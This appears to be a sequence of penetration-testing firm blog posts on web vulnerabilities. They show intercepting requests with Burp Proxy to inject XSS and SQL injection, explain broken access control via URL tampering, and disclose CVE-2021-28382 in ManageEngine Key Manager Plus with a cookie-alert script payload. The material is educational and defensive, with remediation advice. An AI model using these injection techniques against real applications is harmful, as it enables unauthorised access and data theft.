    “Submit” is really just a request being sent to the server. Here, using Burp Proxy to intercept the data, we can see the request as it will appear to the application server.

    Unmodified GET request intercepted

    Now, rather than a simple yes-or-no choice, a user can modify the data any way they’d like and enter it by pressing the “Forward” command.

    Request modified with longer text
     How Hackers Turn the Exploit into an Attack

    With the ability to effectively bypass safeguards on the client-side interface, hackers can send information directly to the application server. Here are a couple of examples of the types of attacks they can execute if the application server is not secure. (For clarity, we’ll use text-based fields, rather than check-boxes in these examples.)

    Example 1: Cross-Site Scripting (XSS)

    Cross-site scripting (XSS) is a reflected attack that injects malicious client-side executable code into web application parameters to be returned by the application output and ultimately executed by the browser. Because it appears that the script is from a trusted source, the end-user’s browser accepts it and runs the script, permitting the attacker to take actions on the application’s behalf, such as accessing cookies and session tokens as well as other sensitive data. (Source: Raxis Glossary).

    The following walk-through demonstrate how a simple guestbook submission form request works normally and then how an attacker can use a web proxy to insert malicious code.

    This is the submission form as it appears to users:

    Guestbook submission form as it appears to web users

    Our Burp Proxy tool reveals the actual request sent to the application server:

    Captured form submission

    Here the attacker enters an innocuous submission that should not be caught by client-side injection controls:

    Attacker enters submission on web form

    And now the attacker captures the entry using Burp Proxy:

    Unmodified form submission in proxy tool

    Before allowing the proxy tool to move to the next step, the attacker replaces the original harmless data with a malicious script:

    XSS Payload inserted into form submission

    The application server, without server-side controls to stop it, accepts the script and returns the payload to the browser. This is what the attacker sees in Burp Proxy:

    JavaScript Payload Returned in Response Body

    And here we see the successful cross-site scripting result in the browser:

    XSS script executes when entry is displayed on the resulting webpage
    Example 2: SQL Injection (SQLi)

    In this attack, a SQL query is injected into the application via input parameters. A successful attack could read sensitive data from the database, modify data in the database, execute operations on the database (including administrative operations), recover files on the DBMS file system, or issue commands to the operating system. (Source: Raxis Glossary)

    Here we demonstrate how a user ID field can be manipulated to enable a SQLi attack.

    We start with a simple user ID entry field with a submit button where we enter a name and submit:

    Web form with textbox and submit button

    Again the attacker intercepts the submission using Burp Proxy en route to the application server.

    Unmodified GET request intercepted

    As above in the XSS exploit, the attacker then modifies the data in Burp Proxy, this time to include escape characters and a SQL query:

    Request modified to contain SQL injection payload

    With no server-side controls in place to stop the attack, the server returns the data requested in the SQL database query. This is what the attacker sees in Burp Proxy:

    Request returns all users from database

    And here we see the successful SQL injection result in the browser:

    All user records returned from database
    Summary

    It’s tempting here to focus on the Burp Proxy tool and its capabilities, but the more important point is to recognize that vulnerabilities can exist in places we as users might not think. Something that seems innocuous, like a simple submit or on/off button, can be manipulated by a hacker with relative ease. The same is true for any field, button, or widget that sends a request to an application server.

    Remember that the mindset of a hacker is always to look at something as it’s expected to be used, then attempt to use it differently. That’s why pentesting by skilled professionals is so important. It takes trained, ethical hackers to prevent the work of their malicious counterparts.

    Would you like to learn how Raxis can help your organization? Reach out. We have a guaranteed, no-pressure approach, and – after all – we’re all on the same side.

  • Cross-Site Scripting (XSS): Filter Evasion and Sideloading

    This is the second video in my three-part series about cross-site scripting (XSS), a type of injection attack that results from user-supplied data that is not properly sanitized or filtered from an application. In the previous video, I discussed the basics of how XSS works and offered some recommendations on how steps to protect against it.

    In this video, we’ll take it a step further. I’ll show you some techniques hackers use to get past common remediation efforts. First is filter evasion, which uses different types of tags to insert malicious code when filters are in place to prevent scripts from running. The second is a technique I call sideloading content, importing third-party content in order to deliver a malicious payload.

    Injection attacks are number three on the OWASP Top 10 list of frequently occurring vulnerabilities, and, indeed, they are a finding Raxis discovers quite frequently. (Over the past year, I have discovered five XSS CVEs.) So, in addition to explaining how these attacks work, I also explain how to stop them.

    In my next video, we’ll take a look at some more advanced methods for cross-site scripting, again with some remediation tips included. So, if you haven’t done so already, please subscribe to our YouTube channel and watch for new content from the Raxis team.

    Want to learn more? Take a look at the first part in our Cross-Site Scripting Series.

  • OWASP Top 10: Broken Access Control

    The Open Web Application Security Project (OWASP) Top 10 is intended as a guide to help security professionals prioritize the most common and urgent web application threats that they or their clients are likely to face. By collecting and analyzing data over time, OWASP is a source of both intelligence and awareness for the people responsible for building secure applications. Raxis uses the OWASP Top 10 as a baseline when assessing web applications, ensuring that our customers are guarding against each of the most common threat categories. Of course, our testing goes well beyond the items on the list, but it is an effective starting point for security assessments.

    What Is a Broken Access Control?

    Broken access control, not to be confused with broken authentication, happens when a user unintentionally is granted elevated permissions or access to an application, user role, or domain. But what does that mean to website users? It means that the user, whether a hacker or someone unintentionally discovering the vulnerability, gains access that was never intended, whether that is access to private information for other users or access to an admin page that allows them to perform actions few people should be allowed to do.

    When a web app fails to enforce proper access controls, the results can be unauthorized disclosure of sensitive information, modification or destruction of data in the system, or the ability to perform business function the user should have no authority to perform.

    This vulnerability has moved from the fifth position all the way to first in the new 2021 OWASP Top 10 update. According to the OWASP Foundation, 3.81% of the applications tested had some form of broken access control. While that may sound like a small percent, the cost is high when you realize the sensitive data & systems that could be exposed.

    A Few Examples

    Many web applications can have a user login page with data such as credit card, phone number, or address information. Let’s consider two users of that application, Fred and Karen. If Karen was logged into her profile, she might see a URL similar to the link below:

    website[.]com/app/acctinfo?user=karen

    But what happens if she can simply change “karen” on the end of the URL to “fred”? We would get the URL below:

    website[.]com/app/acctinfo?acct=fred

    By itself, that is not broken access control. If the application is secure, Karen would be denied access. However, if Karen was then able to see the information in Fred’s account, it would be an example of broken access control. But why stop there? Once Karen realizes she can see Fred’s personal information, she might write a script that tries common names of other people to gather thousands of credit cards to sell on the dark web.

    Another example of a broken access control is the ability to access a server status or web app information page that should not be public to all users. If an unauthenticated user can access either of the two example pages below, it would be a form of broken access control.

    website[.]com/server-status
    website[.]com/app/getappinfo

    Why would that be important? Many attacks require multiple steps, and each step that provides information helps the hacker understand if their actions are working or not. A hacker may use a server-status page to see if their attack is successful, or they may use the getappinfo page to find out what software the server is using so they know what type of attacks to try.

    How to prevent Broken Access Control

    Remediating broken access control is not a one-size-fits-all concept. Just like people are all unique and beautiful in their own way, and deserve to be treated fairly, not tossed aside… err [deep breath] ahem. Really sorry. Website developers must implement trusted server-side code or APIs that do not allow attackers to modify the access control checks or metadata.

    The list below is a good place to start with hardening Access Controls in your environment:  

    • Implement deny-by-default on everything except public resources.
    • Minimize Cross-Origin Resource Sharing (CORS), instead implementing access control mechanisms once and reusing them throughout the application.
    • Enforce record ownership rather than accepting that the user can create, read, update, and/or delete any record.
    • Ensure file metadata and backup files are not present in web roots.
    • Disable web server directory listings.
    • Set rate limits for API and controller access to minimize the attack surface of automated attack tools.

    Want to learn more? Take a look at the second part in our 2021 OWASP Top 10 Series.

  • 2021 OWASP Top 10 Focus: Injection Attacks

    This is the first in a series of blog articles that will provide some deeper insight into the vulnerability types that made the latest OWASP Top 10 list.

    The Open Web Application Security Project (OWASP) recently released a draft of its periodic Top 10 vulnerabilities list. The open-source list is based on both raw data collected through automated testing, as well as the real experiences of cybersecurity and other IT professionals. 

    How Raxis uses the OWASP Top 10

    The OWASP Top 10 isn’t an exhaustive accounting of all the potential vulnerabilities in applications. Instead, it’s intended as a guide to help security professionals prioritize the most common and urgent threats they or their clients are likely to face. By collecting and analyzing data over time, OWASP is a source of both intelligence and awareness for the people responsible for building secure applications.

    As a penetration testing company, Raxis uses the OWASP Top 10 as a reference, ensuring that its customers are protecting against each of the most common threat categories. Of course, our testing goes well beyond the items on the list, but it is an effective starting point for security assessments.

    Why injection is a major concern

    In 2017, the last time the list was published, injection was the number-one concern. In 2021 this vulnerability moved down into the third position and now includes Cross-Site Scripting (XSS), which was its own category in 2017. However, that doesn’t necessarily mean it has diminished in severity; only that other vulnerabilities have increased in frequency.

    How an injection attack works

    The underlying cause of injection attacks is from user-supplied data that is not properly sanitized or filtered from an application. This can include various attacks such as SQL-injection, command injection, XSS, and more. While each of these attacks are different, they are all successful because of an application trusting user-supplied data, which led OWASP to combine Injection and XSS in this version of the Top 10.

    Raxis is well-versed in Injection attacks and has continued to see a high presence of these vulnerabilities in 2021. In particular, we have continued to see XSS be prevalent in applications, as evidenced by the five XSS CVEs I discovered and helped remediate this year: 

    How to prevent injection vulnerabilities

    The best defense against an injection attack is to not trust user-supplied data. Specifically, applications should sanitize or filter all user-supplied data before processing it, reflecting it back to users, or sending it to a database. In addition to user-supplied data, applications should not trust data coming from third parties such as external APIs, Active Directory, or other external sources. Four of the above CVEs involved data coming from an external source, which demonstrates the need for applications to not trust any outside data.

    Want to learn more? Take a look at the first part in our 2021 OWASP Top 10 Series.

  • ManageEngine Key Manager Plus Cross-Site Scripting Vulnerability (CVE-2021-28382)

    I’m Matt Dunn, lead penetration tester here at Raxis. This is a summary of the second stored cross-site scripting vulnerability I discovered while testing several Zoho-owned ManageEngine products. This vulnerability exists in the Key Manager Plus Version 6000.

    Summary

    Recently I discovered a stored Cross-Site Scripting vulnerability in the Zoho-owned ManageEngine Key Manager Plus for Version 6000 (CVE-2021-28382). The vulnerability exists in any of a user’s details fields when they are imported from Active Directory. This can be performed in one of the name fields or the email field, and is executed when visiting the /apiclient/index.jsp#/Settings/UserManagement page. After this page loads, the user’s details are loaded with unescaped content, allowing for malicious JavaScript to be reflected back to users.

    Proof of Concept

    The vulnerability can be triggered by inserting html content, specifically script tags, into the first name, last name, or email field of an Active Directory user. The following was inserted as a proof of concept to reflect the user’s cookie in an alert box:

    <script>alert(document.cookie)</script>

    An example of this in the Last Name field of one such user can be seen here:

    Stored XSS Payload

    After that user’s details load on the UserManagement page, the HTML is then presented unescaped on the web page, which allows the script tags to be loaded as valid JavaScript. The unescaped HTML, as loaded, can be seen here:

    Unescaped JavaScript Tags

    After loading the UserManagement page, the malicious content is executed, as shown below:

    XSS Execution Displaying the User's Cookie

    Affected Versions

    Raxis discovered this vulnerability on Manage Engine Key Manager Plus 6000 (6.0.0), but any version below 6001 could be vulnerable when importing users from Active Directory.

    Remediation

    Upgrade ManageEngine Key Manager Plus to version 6001 or later immediately. Version 6001 can be found here: https://www.manageengine.com/key-manager/release-notes.html#6001

    Disclosure Timeline

    • March 5, 2021 – Vulnerability reported to Zoho
    • March 8, 2021 – Zoho begins investigation into report
    • March 13, 2021 – Zoho releases version 6001 to mitigate vulnerability
    • March 15, 2021 CVE-2021-28382 assigned to this vulnerability

    CVE Links